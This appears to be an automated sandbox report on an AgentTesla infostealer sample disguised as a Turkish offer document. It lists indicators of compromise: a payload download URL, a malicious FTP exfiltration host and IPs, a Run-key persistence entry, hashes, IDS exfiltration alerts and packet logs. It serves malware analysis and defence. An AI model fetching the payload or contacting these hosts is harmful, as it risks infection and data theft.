https://github.com/mgravell/protobuf-net	Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2231386513.00000000058D0000.00000004.08000000.00040000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.0000000003F03000.00000004.00000800.00020000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.00000000036D9000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/mgravell/protobuf-neti	Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2231386513.00000000058D0000.00000004.08000000.00040000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.0000000003F03000.00000004.00000800.00020000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.00000000036D9000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://stackoverflow.com/q/14436606/23354	Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2231386513.00000000058D0000.00000004.08000000.00040000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.0000000003F03000.00000004.00000800.00020000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.00000000036D9000.00000004.00000800.00020000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2206832205.0000000002538000.00000004.00000800.00020000.00000000.sdmp, Ptqlzgvzpfa.exe, 00000004.00000002.2446673623.0000000002F47000.00000004.00000800.00020000.00000000.sdmp, Ptqlzgvzpfa.exe, 00000005.00000002.2532866894.0000000002918000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://account.dyn.com/	Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.00000000035BF000.00000004.00000800.00020000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2206832205.00000000028BE000.00000004.00000800.00020000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.000000000366C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000002.00000002.2444038215.0000000000362000.00000040.00000400.00020000.00000000.sdmp, Ptqlzgvzpfa.exe, 00000004.00000002.2477328871.000000000407C000.00000004.00000800.00020000.00000000.sdmp, Ptqlzgvzpfa.exe, 00000004.00000002.2446673623.0000000003264000.00000004.00000800.00020000.00000000.sdmp, Ptqlzgvzpfa.exe, 00000005.00000002.2532866894.0000000002B2A000.00000004.00000800.00020000.00000000.sdmp, Ptqlzgvzpfa.exe, 00000005.00000002.2558909751.0000000003A4B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/mgravell/protobuf-netJ	Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2231386513.00000000058D0000.00000004.08000000.00040000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.0000000003F03000.00000004.00000800.00020000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.00000000036D9000.00000004.00000800.00020000.00000000.sdmp, Ptqlzgvzpfa.exe, 00000004.00000002.2477328871.0000000004959000.00000004.00000800.00020000.00000000.sdmp, Ptqlzgvzpfa.exe, 00000005.00000002.2558909751.0000000004329000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://wymascensores.com	Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2206832205.00000000024F1000.00000004.00000800.00020000.00000000.sdmp, Ptqlzgvzpfa.exe, 00000004.00000002.2446673623.0000000002F01000.00000004.00000800.00020000.00000000.sdmp, Ptqlzgvzpfa.exe, 00000005.00000002.2532866894.00000000028DC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2206832205.00000000024F1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000002.00000002.2448653484.000000000263E000.00000004.00000800.00020000.00000000.sdmp, Ptqlzgvzpfa.exe, 00000004.00000002.2446673623.0000000002F01000.00000004.00000800.00020000.00000000.sdmp, Ptqlzgvzpfa.exe, 00000005.00000002.2532866894.00000000028DC000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.2532815910.0000000002DDE000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3319267989.0000000002C1E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://stackoverflow.com/q/11564914/23354;	Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2231386513.00000000058D0000.00000004.08000000.00040000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.0000000003F03000.00000004.00000800.00020000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.00000000036D9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://stackoverflow.com/q/2152978/23354	Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2231386513.00000000058D0000.00000004.08000000.00040000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.0000000003F03000.00000004.00000800.00020000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.00000000036D9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://wymascensores.com/img/Tcghz.wav7__AsyncLocalScope_Current__	Teklif-6205018797-6100052155-UUE.exe, Ptqlzgvzpfa.exe.0.dr	false		unknown
http://ftp.alternatifplastik.com	InstallUtil.exe, 00000002.00000002.2448653484.000000000264C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000002.00000002.2448653484.000000000263E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.2532815910.0000000002DEC000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.2532815910.0000000002DDE000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3319267989.0000000002C2C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3319267989.0000000002C1E000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
67.212.175.162	wymascensores.com	United States		32475	SINGLEHOP-LLCUS	true
5.2.84.236	ftp.alternatifplastik.com	Turkey		3188	ALASTYRTR	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1520406
Start date and time:	2024-09-27 10:42:27 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 17s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Teklif-6205018797-6100052155-UUE.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@9/2@5/2
EGA Information:	Successful, ratio: 83.3%
HCA Information:	Successful, ratio: 90% Number of executed functions: 420 Number of non-executed functions: 36
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target InstallUtil.exe, PID 5488 because it is empty
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Teklif-6205018797-6100052155-UUE.exe

Simulations

Behavior and APIs

Time	Type	Description
04:43:36	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Ptqlzgvzpfa C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe
04:43:44	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Ptqlzgvzpfa C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
67.212.175.162	BITUMEN_60-70_-_JUMBO_Specification.exe	Get hash	malicious	FormBook, NSISDropper	Browse	www.northjerseylocksmith.net/2nbp/?ab=tQVjVQ6bjwqqy2lbRpj5JhQnGfuizPNGdMEYuGKFTCiSTnfJxBy0WSIOyM01nCZIZatbO6YbONw5Q3bQ/V1g60uhCq/kzTYQUQ==&wZHp=LTklpdd0lp
67.212.175.162	EL-515-_HEAT_TRACING.exe	Get hash	malicious	FormBook, NSISDropper	Browse	www.northjerseylocksmith.net/2nbp/?I8Z=tQVjVQ6bjwqqy2lbRpj5JhQnGfuizPNGdMEYuGKFTCiSTnfJxBy0WSIOyM01nCZIZatbO6YbONw5Q3bQ/V1tnGq8XaOUlQYxDpzveej3TzCy&WN6=OLgLTlRhCRRxTxN
5.2.84.236	Offer-CNVN-82927-VIETNAM.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	OFFER-876355- Hydraulic Partner, LLC.PDF..........................exe	Get hash	malicious	AgentTesla	Browse
	Product Specification Details 8576534-872.exe	Get hash	malicious	AgentTesla	Browse
	Teklif 8822321378 .exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	https://www.rxjapan.jp/?wptouch_switch=desktop&redirect=http://5ln.gpr.carfield.com.tr./?YYY%3A%2F%2F%23.bWljaGFlbC5keWtlc0BjZXFsZC5vcmcuYXU=	Get hash	malicious	Unknown	Browse
	KAL_00192839403-28122021.cmd.exe	Get hash	malicious	AgentTesla	Browse
	Halkbank.cmd.exe	Get hash	malicious	AgentTesla	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
wymascensores.com	RFQ____RM quotation_JPEG IMAGE.img.exe	Get hash	malicious	Snake Keylogger	Browse	67.212.175.162
	Su documento de env#U00edo--------pdf.exe	Get hash	malicious	Unknown	Browse	67.212.175.162
	Su documento de env#U00edo--------pdf.exe	Get hash	malicious	Unknown	Browse	67.212.175.162
	1715875158543a5e3b677362bc060cf9b6a7a69e2457d0c48ef2d6bda0e2ce3c4ddc38a017752.dat-decoded.exe	Get hash	malicious	AgentTesla	Browse	67.212.175.162
	Teklif 8822321378 .exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	67.212.175.162
	rDocumentodeembarque.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	67.212.175.162
	ORGB.exe	Get hash	malicious	AgentTesla	Browse	67.212.175.162
	16994321449b5d87caf658afbfe178cb9c8422736bcc47ae132c88fa1893a91c088bd24282963.dat-decoded.exe	Get hash	malicious	AgentTesla	Browse	67.212.175.162
	Korea_Order-68652781178.xla.xlsx	Get hash	malicious	AgentTesla	Browse	67.212.175.162
	jpg_7657689879_Detalles_del_producto_EBM_PAPST_ARGENTINA_S.A..exe	Get hash	malicious	AgentTesla	Browse	67.212.175.162
ftp.alternatifplastik.com	Offer-CNVN-82927-VIETNAM.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	5.2.84.236
	OFFER-876355- Hydraulic Partner, LLC.PDF..........................exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	Product Specification Details 8576534-872.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SINGLEHOP-LLCUS	PO-78140924.BAT.PDF.exe	Get hash	malicious	FormBook	Browse	172.96.187.60
	RFQ____RM quotation_JPEG IMAGE.img.exe	Get hash	malicious	Snake Keylogger	Browse	67.212.175.162
	https://xtrafree.x10.mx/	Get hash	malicious	Unknown	Browse	198.91.81.14
	http://dev-265334124785.pantheonsite.io/	Get hash	malicious	Unknown	Browse	198.143.164.252
	http://dev-gdtf.pantheonsite.io/	Get hash	malicious	Unknown	Browse	198.143.164.252
	http://www.rb.gy/onu2r0/	Get hash	malicious	Unknown	Browse	198.143.164.252
	http://www.rb.gy/v99361/	Get hash	malicious	Unknown	Browse	198.143.164.252
	rP0n___87004354.exe	Get hash	malicious	FormBook	Browse	172.96.187.60
	http://www.rb.gy/yfdl7y/	Get hash	malicious	Unknown	Browse	198.143.164.252
	http://www.rb.gy/h66x7g/	Get hash	malicious	Unknown	Browse	198.143.164.252
ALASTYRTR	BROU_Copia de Pago_PDF.exe	Get hash	malicious	Unknown	Browse	5.2.84.221
	BROU_Copia de Pago_PDF.exe	Get hash	malicious	Unknown	Browse	5.2.84.221
	Offer-CNVN-82927-VIETNAM.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	5.2.84.236
	eqqjbbjMlt.elf	Get hash	malicious	Unknown	Browse	5.2.85.36
	OFFER-876355- Hydraulic Partner, LLC.PDF..........................exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	Product Specification Details 8576534-872.exe	Get hash	malicious	AgentTesla	Browse	5.2.84.236
	http://www.idecon.com.tr	Get hash	malicious	Unknown	Browse	5.2.84.231
	Teklif 8822321378 .exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	5.2.84.236
	x21iMpR0I1.exe	Get hash	malicious	FormBook	Browse	5.2.85.156
	https://upvir.al/153868/lp153868	Get hash	malicious	HTMLPhisher	Browse	5.2.85.131

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	RFQ 2024.09.26-89 vivecta.vbs	Get hash	malicious	PureLog Stealer	Browse	67.212.175.162
	RTGS-WB-ABS-240730-NEW.lnk	Get hash	malicious	AgentTesla	Browse	67.212.175.162
	#docs_8299010377388200191-pdf.js	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	67.212.175.162
	Dekont.rar.xlxs.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	67.212.175.162
	https://ojbkjs.vip/yb.js	Get hash	malicious	Unknown	Browse	67.212.175.162
	QUOTATION_SEPQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	67.212.175.162
	file.exe	Get hash	malicious	Unknown	Browse	67.212.175.162
	Purchase order.exe	Get hash	malicious	AgentTesla	Browse	67.212.175.162
	https://jbrizuelablplegal.taplink.ws/	Get hash	malicious	HTMLPhisher	Browse	67.212.175.162
	http://home-103607.weeblysite.com/	Get hash	malicious	HTMLPhisher	Browse	67.212.175.162

Process:	C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	30208
Entropy (8bit):	5.3534281837524365
Encrypted:	false
SSDEEP:	384:ANepKdJNF1oPvlsBrrFj95okNTvsYxksSvk0HFs0ZILHwz7A8iq8ziXuF:AcQ9F1oaBj95FkYmsScKZHGJt
MD5:	A016634929C4D57CC24719723A4CD65C
SHA1:	91E7492B6D3E543F185C69846BD175A626A931F5
SHA-256:	182B161A951229364AEF6E16D358BEB00F285C9F146053471AD22E714EEFA719
SHA-512:	5F36C1AD444AF94DFD4CA1D4AEF188049FFDCF2A336F58CFEEAD5A55176E580312D3944C229ED8B66CC852F0A4C86B711603EA34FF80EBF1DF6A3F84D61A695A
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....5.f.................l............... ........@.. ....................................`.................................<...J.................................................................................... ............... ..H............text....j... ...l.................. ..`.rsrc................n..............@..@.reloc...............t..............@..B................l.......H.......,F...D..........................................................+.(....+...0..>.........'...+.+.+.+.+.+.+#.+.(....+..+.(....+.(....+.o....+.o....+....0..........+}8....8....8....8....8......9....&+D8....8.....-.......(........o......(....o .......,..(!......%,.X.,...-...o"....-.2..o#...($...8y....8x...o%...8s....8r...s&...8m....8l....8n....8o....8n............5..T.......0.._........:S....+:.->&.,.+.r...p+.+....+.o'...+...+..,..-..o.....-..+..,.&..s(...+..+..+..+.&

C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.3534281837524365
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	Teklif-6205018797-6100052155-UUE.exe
File size:	30'208 bytes
MD5:	a016634929c4d57cc24719723a4cd65c
SHA1:	91e7492b6d3e543f185c69846bd175a626a931f5
SHA256:	182b161a951229364aef6e16d358beb00f285c9f146053471ad22e714eefa719
SHA512:	5f36c1ad444af94dfd4ca1d4aef188049ffdcf2a336f58cfeead5a55176e580312d3944c229ed8b66cc852f0a4c86b711603ea34ff80ebf1df6a3f84d61a695a
SSDEEP:	384:ANepKdJNF1oPvlsBrrFj95okNTvsYxksSvk0HFs0ZILHwz7A8iq8ziXuF:AcQ9F1oaBj95FkYmsScKZHGJt
TLSH:	2CD2D68C738546ABE1AB1F7AA4F207994BF2F692775BC39F3640002A1DE37525C61723
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....5.f.................l............... ........@.. ....................................`................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x408a86
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F535CB [Thu Sep 26 10:22:03 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8a3c	0x4a	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xa000	0x5ae	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xc000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x6a8c	0x6c00	c047a0195398db84e9dc60976185a50a	False	0.47164351851851855	data	5.479757107813364	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xa000	0x5ae	0x600	23528740014c530cd2d4f6b9984aa211	False	0.4270833333333333	data	4.1245948590178	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xc000	0xc	0x200	c447a5a93c8c9d2c91ecde24a0f18251	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xa05c	0x32c	data			0.4236453201970443
RT_MANIFEST	0xa3c4	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-27T10:43:23.015150+0200	2017962	ET MALWARE PE EXE or DLL Windows file download disguised as ASCII	1	67.212.175.162	443	192.168.2.5	49704	TCP
2024-09-27T10:43:23.015150+0200	2022640	ET MALWARE PE EXE or DLL Windows file download Text M2	1	67.212.175.162	443	192.168.2.5	49704	TCP
2024-09-27T10:43:39.090953+0200	2029927	ET MALWARE AgentTesla Exfil via FTP	1	192.168.2.5	49705	5.2.84.236	21	TCP
2024-09-27T10:43:39.726339+0200	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.5	49708	5.2.84.236	55987	TCP
2024-09-27T10:43:39.733257+0200	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.5	49708	5.2.84.236	55987	TCP
2024-09-27T10:43:46.488310+0200	2017962	ET MALWARE PE EXE or DLL Windows file download disguised as ASCII	1	67.212.175.162	443	192.168.2.5	52073	TCP
2024-09-27T10:43:46.488310+0200	2022640	ET MALWARE PE EXE or DLL Windows file download Text M2	1	67.212.175.162	443	192.168.2.5	52073	TCP
2024-09-27T10:43:54.928209+0200	2017962	ET MALWARE PE EXE or DLL Windows file download disguised as ASCII	1	67.212.175.162	443	192.168.2.5	52077	TCP
2024-09-27T10:43:54.928209+0200	2022640	ET MALWARE PE EXE or DLL Windows file download Text M2	1	67.212.175.162	443	192.168.2.5	52077	TCP
2024-09-27T10:44:02.252408+0200	2029927	ET MALWARE AgentTesla Exfil via FTP	1	192.168.2.5	52078	5.2.84.236	21	TCP
2024-09-27T10:44:02.871511+0200	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.5	52079	5.2.84.236	60855	TCP
2024-09-27T10:44:02.882716+0200	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.5	52079	5.2.84.236	60855	TCP
2024-09-27T10:44:10.402749+0200	2029927	ET MALWARE AgentTesla Exfil via FTP	1	192.168.2.5	52080	5.2.84.236	21	TCP
2024-09-27T10:44:11.022491+0200	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.5	52081	5.2.84.236	52109	TCP
2024-09-27T10:44:11.027817+0200	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.5	52081	5.2.84.236	52109	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2024 10:43:22.189377069 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:22.189418077 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:22.189523935 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:22.208101034 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:22.208123922 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:22.721179962 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:22.721383095 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:22.733526945 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:22.733547926 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:22.733957052 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:22.779961109 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:22.827406883 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:22.905536890 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:22.905570030 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:22.905579090 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:22.905653954 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:22.905678034 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:22.926594973 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:22.926805973 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:22.926832914 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:22.971777916 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:22.993429899 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:22.993441105 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:22.993472099 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:22.993509054 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:22.993556976 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:22.994891882 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:22.994899988 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:22.994956017 CEST	49704	443	192.168.2.5	67.212.175.162
Sep 27, 2024 10:43:22.995759964 CEST	443	49704	67.212.175.162	192.168.2.5
Sep 27, 2024 10:43:22.995765924 CEST	443	49704	67.212.175.162	192.168.2.5
